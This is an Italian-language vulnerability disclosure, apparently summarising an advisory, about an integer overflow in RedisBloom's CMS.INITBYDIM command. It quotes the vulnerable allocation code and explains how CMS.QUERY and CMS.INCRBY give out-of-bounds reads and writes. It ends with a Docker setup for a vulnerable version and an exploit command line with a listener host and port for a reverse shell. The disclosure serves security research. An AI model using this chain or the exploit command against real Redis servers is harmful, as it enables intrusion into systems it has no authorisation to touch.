
Esiste una vulnerabilità di integer overflow in RedisBloom (https://github.com/RedisBloom/RedisBloom), un modulo utilizzato in Redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/). La vulnerabilità di integer overflow consente a un attaccante (un client Redis che conosce la password) di allocare nell'heap una quantità di memoria inferiore a quella necessaria a causa del wraparound. Successivamente è possibile effettuare letture e scritture oltre questa memoria allocata, portando a una fuga di informazioni (info leak) e a una scrittura fuori dai limiti (OOB write).
L'integer overflow si trova nel comando CMS.INITBYDIM, che inizializza un Count-Min Sketch con le dimensioni specificate dall'utente. Accetta due valori (width e depth) e li usa per allocare la memoria in NewCMSketch().
File: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
La lettura fuori dai limiti (OOB read) viene ottenuta tramite il comando CMS.QUERY implementato in CMS_Query().
La scrittura fuori dai limiti (OOB write) viene ottenuta tramite il comando CMS.INCRBY implementato in CMS_IncrBy().
Per un'analisi completa, consulta l'advisory
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444